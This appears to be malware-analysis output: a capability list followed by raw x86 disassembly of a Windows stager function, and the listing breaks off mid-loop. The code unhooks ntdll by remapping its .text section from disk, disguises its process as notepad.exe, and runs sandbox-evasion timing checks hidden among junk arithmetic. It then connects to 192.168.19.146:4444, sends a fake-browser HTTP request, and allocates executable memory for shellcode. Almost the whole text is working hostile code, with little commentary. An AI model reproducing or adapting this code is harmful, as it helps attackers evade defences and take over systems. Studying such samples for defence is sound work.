Function at 0x4014f0
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Overwrite dll .text section to remove hooks
Read and send data from client to server
Read file via mapping
Receive data
Receive data on socket
Reference http user-agent string
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x508
call fcn.00402970
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x74], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x78], eax
mov dword [esp], 0x18e0
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x1c], 0
jmp 0x401582
call sub.msvcrt.dll_rand
mov dword [ebp - 0x4f0], eax
fild dword [ebp - 0x4f0]
fld qword [0x405268]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x1c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x7c]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x31b
jle 0x40154c
mov dword [ebp - 0x1c], 0
jmp 0x4015c3
mov eax, dword [ebp - 0x1c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x7c]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x1c]
lea edx, [eax*8]
mov eax, dword [ebp - 0x7c]
lea ebx, [edx + eax]
fstp qword [esp]
call sub.msvcrt.dll_acos
fstp qword [ebx]
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x31b
jle 0x401594
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x80], eax
mov dword [esp], str.psapi.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetModuleInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x401638
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetModuleInformation
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0xffffffff
add dword [ebp - 0x24], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x88
mov dword [ebp - 0x4f0], eax
fild dword [ebp - 0x4f0]
fld qword [0x405268]
fdivp st(1)
fstp qword [esp]
call fcn.004038b0
fstp qword [ebp - 0x88]
cmp dword [ebp - 0x24], 0x27f
jle 0x40163f
cmp dword [ebp - 0x20], 0
je 0x40197f
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0xc], 0xc
lea edx, [ebp - 0x188]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x80]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x20]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x8c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], str.c:windows_system32_ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x94], 0
mov dword [esp], 0x68c
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x28], 0
jmp 0x40178b
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x28]
lea edx, [eax*4]
mov eax, dword [ebp - 0x98]
lea ebx, [edx + eax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [eax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [ebx], edx
mov eax, dword [ebp - 0x28]
lea edx, [eax*4]
mov eax, dword [ebp - 0x98]
add eax, edx
mov eax, dword [eax]
add dword [ebp - 0x2c], eax
add dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0x1a2
jle 0x40172d
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call eax
sub esp, 0x18
mov dword [ebp - 0x9c], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov eax, dword [ebp - 0x9c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
call eax
sub esp, 0x14
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x8c]
add eax, edx
mov dword [ebp - 0xa8], eax
mov word [ebp - 0x2e], 0
jmp 0x40196b
mov eax, dword [ebp - 0xa8]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xa8]
lea ecx, [edx + eax]
movzx edx, word [ebp - 0x2e]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
add eax, 0x18
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
mov dword [esp + 4], str..text
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401960
mov dword [ebp - 0x1a8], 0
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0xac]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x8c]
add edx, ecx
mov ecx, edx
lea edx, [ebp - 0x1a8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov dword [esp], ecx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0xac]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0xa0]
add edx, ecx
mov ebx, edx
mov edx, dword [ebp - 0xac]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x8c]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 8]
mov ecx, dword [ebp - 0xac]
mov ebx, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x8c]
add ecx, ebx
mov ebx, ecx
lea ecx, [ebp - 0x1a8]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
movzx eax, word [ebp - 0x2e]
add eax, 1
mov word [ebp - 0x2e], ax
mov eax, dword [ebp - 0xa8]
movzx eax, word [eax + 6]
cmp word [ebp - 0x2e], ax
jb 0x40184c
mov dword [ebp - 0x1a4], 0
mov dword [esp + 4], str.NtQueryInformationProcess
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xb0], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x1a4]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x18
lea edx, [ebp - 0x1a0]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0xb0]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x19c]
add eax, 0x28
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xb4]
mov dword [eax + 0x44], str.C:windows_system32_notepad.exe
mov dword [ebp - 0x3c], 0
mov dword [esp], 0x720
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x34], 0
jmp 0x401a83
mov dword [ebp - 0x38], 0
jmp 0x401a79
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x74960f25
mov eax, ecx
imul edx
sar edx, 0xb
mov eax, ecx
sar eax, 0x1f
mov ebx, edx
sub ebx, eax
imul eax, ebx, 0x1191
mov ebx, ecx
sub ebx, eax
mov edx, dword [ebp - 0x34]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 4
mov edx, eax
mov eax, dword [ebp - 0xb8]
add edx, eax
mov dword [ebp - 0x4f0], ebx
fild dword [ebp - 0x4f0]
mov eax, dword [ebp - 0x38]
fstp dword [edx + eax*4]
add dword [ebp - 0x38], 1
cmp dword [ebp - 0x38], 0xb
jle 0x401a27
add dword [ebp - 0x34], 1
cmp dword [ebp - 0x34], 0x25
jle 0x401a1e
mov dword [ebp - 0x34], 0
jmp 0x401af0
mov dword [ebp - 0x38], 0
jmp 0x401ae6
fild dword [ebp - 0x3c]
mov edx, dword [ebp - 0x34]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 4
mov edx, eax
mov eax, dword [ebp - 0xb8]
add edx, eax
mov eax, dword [ebp - 0x38]
fld dword [edx + eax*4]
faddp st(1)
fnstcw word [ebp - 0x4ea]
movzx eax, word [ebp - 0x4ea]
or ah, 0xc
mov word [ebp - 0x4ec], ax
fldcw word [ebp - 0x4ec]
fistp dword [ebp - 0x3c]
fldcw word [ebp - 0x4ea]
add dword [ebp - 0x38], 1
cmp dword [ebp - 0x38], 0xb
jle 0x401a9b
add dword [ebp - 0x34], 1
cmp dword [ebp - 0x34], 0x25
jle 0x401a92
mov eax, dword [ebp - 0xb8]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xb4]
mov dword [eax + 0x3c], str.C:windows_system32_notepad.exe
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.OpenProcess
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xbc], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
mov eax, dword [ebp - 0xbc]
call eax
sub esp, 0xc
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jne 0x4028b8
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
je 0x401bc8
mov dword [esp + 4], str.FlsAlloc
mov eax, dword [ebp - 0xc4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xc8], eax
mov dword [esp], 0
mov eax, dword [ebp - 0xc8]
call eax
sub esp, 4
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
je 0x4028b8
mov dword [ebp - 0xcc], 0x350
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.SleepEx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xd0], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
call eax
mov dword [ebp - 0xd8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xcc]
mov dword [esp], eax
mov eax, dword [ebp - 0xd0]
call eax
sub esp, 8
mov eax, dword [ebp - 0xd4]
call eax
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
sub eax, dword [ebp - 0xd8]
cmp eax, 0x31e
jbe 0x4028b8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
je 0x4028b8
mov dword [esp + 4], 0x596
mov eax, dword [ebp - 0xe0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [ebp - 0xe4], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetTickCount
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe8]
call eax
mov dword [ebp - 0xec], eax
mov dword [esp], 0x345
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0xe8]
call eax
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xf0]
sub eax, dword [ebp - 0xec]
cmp eax, 0x313
jbe 0x4028b8
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.OpenProcess
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xf4], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
mov eax, dword [ebp - 0xf4]
call eax
sub esp, 0xc
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jne 0x4028b8
mov dword [ebp - 0xfc], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x100], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x3720680
mov dword [esp], 0
mov eax, dword [ebp - 0x100]
call eax
sub esp, 0x10
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
je 0x4028b8
mov dword [esp + 4], 0x3720680
mov eax, dword [ebp - 0xfc]
mov dword [esp], eax
call fcn.00403a90
sub esp, 8
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xfc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [ebp - 0x44], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0
je 0x401ee8
mov dword [esp + 4], str.VirtualAllocExNuma
mov eax, dword [ebp - 0x104]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x108], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x303
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0x108]
call eax
sub esp, 0x18
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x4028b8
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x401f48
mov dword [esp + 4], str.FlsAlloc
mov eax, dword [ebp - 0x10c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x110], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x110]
call eax
sub esp, 4
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffff
je 0x4028b8
mov dword [ebp - 0x114], 0
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x118], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x4a5d280
mov dword [esp], 0
mov eax, dword [ebp - 0x118]
call eax
sub esp, 0x10
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
je 0x4028b8
mov dword [esp + 4], 0x4a5d280
mov eax, dword [ebp - 0x114]
mov dword [esp], eax
call fcn.00403a90
sub esp, 8
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x114]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov word [ebp - 0x11a], 0x202
mov dword [esp], 0x980
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x4c], 0
jmp 0x402064
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [ebp - 0x4c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x120]
lea ebx, [edx + eax]
mov edx, 0x68db8bad
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xc
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x2710
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0x4c], 1
cmp dword [ebp - 0x4c], 0x25f
jle 0x402025
mov dword [ebp - 0x4c], 0
jmp 0x402121
cmp dword [ebp - 0x4c], 0
je 0x4020b0
mov eax, dword [ebp - 0x4c]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0x120]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x4c]
lea ecx, [eax*4]
mov eax, dword [ebp - 0x120]
add eax, ecx
mov eax, dword [eax]
cmp edx, eax
jg 0x4020b6
add dword [ebp - 0x4c], 1
jmp 0x402121
mov eax, dword [ebp - 0x4c]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0x120]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x4c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x120]
add eax, edx
mov edx, dword [ebp - 0x4c]
add edx, 0x3fffffff
lea ecx, [edx*4]
mov edx, dword [ebp - 0x120]
add edx, ecx
mov eax, dword [eax]
mov dword [edx], eax
mov eax, dword [ebp - 0x4c]
lea edx, [eax*4]
mov eax, dword [ebp - 0x120]
add edx, eax
mov eax, dword [ebp - 0x17c]
mov dword [edx], eax
sub dword [ebp - 0x4c], 1
cmp dword [ebp - 0x4c], 0x25f
jle 0x402079
mov eax, dword [ebp - 0x120]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x124], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x128], eax
mov dword [esp], str.ws2_32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x12c], eax
mov dword [esp + 4], str.WSAStartup
mov eax, dword [ebp - 0x12c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x130], eax
mov dword [esp + 4], str.WSACleanup
mov eax, dword [ebp - 0x12c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x134], eax
movzx eax, word [ebp - 0x11a]
lea edx, [ebp - 0x4dc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x130]
call eax
sub esp, 8
test eax, eax
jns 0x4021fa
mov eax, dword [ebp - 0x134]
call eax
mov dword [esp], 1
call sub.msvcrt.dll_exit
mov dword [esp], 0x12f8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x50], 0
jmp 0x40224e
call sub.msvcrt.dll_rand
mov dword [ebp - 0x4f0], eax
fild dword [ebp - 0x4f0]
fld qword [0x405268]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x50]
lea edx, [eax*8]
mov eax, dword [ebp - 0x138]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
add dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0x25e
jle 0x402215
mov dword [ebp - 0x50], 0
jmp 0x40228e
mov eax, dword [ebp - 0x50]
lea edx, [eax*8]
mov eax, dword [ebp - 0x138]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x50]
lea edx, [eax*8]
mov eax, dword [ebp - 0x138]
add eax, edx
fabs
fstp qword [eax]
add dword [ebp - 0x50], 1
cmp dword [ebp - 0x50], 0x25e
jle 0x402260
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xffffffff
jne 0x4022ed
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov dword [esp], 1
call sub.msvcrt.dll_exit
mov dword [esp], str.192.168.19.146
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
jne 0x402334
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [ebp - 0x134]
call eax
mov dword [esp], 1
call sub.msvcrt.dll_exit
mov eax, dword [ebp - 0x140]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x1b8]
add eax, 4
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov word [ebp - 0x1b8], 2
mov dword [esp], 0x115c
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1b6], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1b8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x4023d5
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov dword [esp], 1
call sub.msvcrt.dll_exit
lea eax, [ebp - 0x34c]
mov edx, str.GET__AVJpwXzALUMhaDqAvWQMe_PofWxcHWkrRlEjy_PkqDcyEXYEcONexgMPW_HTTP_1.1_r_nHost:_192.168.19.146:4444_r_nConnection:_Keep_Alive_r_nUser_Agent:_Mozilla_5.0__Windows_NT_6.1__Trident_7.0__rv:11.0__like_Gecko_r_n_r_n
mov ecx, 0x32
mov edi, eax
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov edx, esi
mov eax, edi
movzx ecx, word [edx]
mov word [eax], cx
lea edx, [ebp - 0x282]
mov eax, 0
mov word [edx], ax
add edx, 2
mov ecx, 0x31
mov edi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x34c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0x34c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [esp], 0x20d0
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x144], eax
mov dword [esp], 0x20d0
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x148], eax
mov dword [esp], 0x20d0
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x54], 0
jmp 0x402532
mov dword [ebp - 0x58], 0
jmp 0x402524
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x54]
imul ecx, edx, 0xa8
mov edx, dword [ebp - 0x144]
add edx, ecx
mov dword [ebp - 0x4f0], eax
fild dword [ebp - 0x4f0]
mov eax, dword [ebp - 0x58]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x54]
imul ecx, edx, 0xa8
mov edx, dword [ebp - 0x148]
add edx, ecx
mov dword [ebp - 0x4f0], eax
fild dword [ebp - 0x4f0]
mov eax, dword [ebp - 0x58]
fstp dword [edx + eax*4]
add dword [ebp - 0x58], 1
cmp dword [ebp - 0x58], 0x29
jle 0x402494
add dword [ebp - 0x54], 1
cmp dword [ebp - 0x54], 0x31
jle 0x402488
mov dword [ebp - 0x54], 0
jmp 0x4025a3
mov dword [ebp - 0x58], 0
jmp 0x402599
mov eax, dword [ebp - 0x54]
imul edx, eax, 0xa8
mov eax, dword [ebp - 0x144]
add edx, eax
mov eax, dword [ebp - 0x58]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x54]
imul edx, eax, 0xa8
mov eax, dword [ebp - 0x148]
add edx, eax
mov eax, dword [ebp - 0x58]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x54]
imul edx, eax, 0xa8
mov eax, dword [ebp - 0x14c]
add edx, eax
faddp st(1)
mov eax, dword [ebp - 0x58]
fstp dword [edx + eax*4]
add dword [ebp - 0x58], 1
cmp dword [ebp - 0x58], 0x29
jle 0x40254e
add dword [ebp - 0x54], 1
cmp dword [ebp - 0x54], 0x31
jle 0x402545
mov eax, dword [ebp - 0x144]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x148]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp], 0x12c
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualAlloc
mov eax, dword [ebp - 0x128]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x150], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0xf4240
mov dword [esp], 0
mov eax, dword [ebp - 0x150]
call eax
sub esp, 0x10
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], 0xffffffff
mov dword [esp], 0x1450
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x158], eax
add dword [ebp - 0x60], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x4f0], eax
fild dword [ebp - 0x4f0]
fld qword [0x405268]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0x60]
lea edx, [eax*8]
mov eax, dword [ebp - 0x158]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0x60]
lea edx, [eax*8]
mov eax, dword [ebp - 0x158]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0x60]
lea edx, [eax*8]
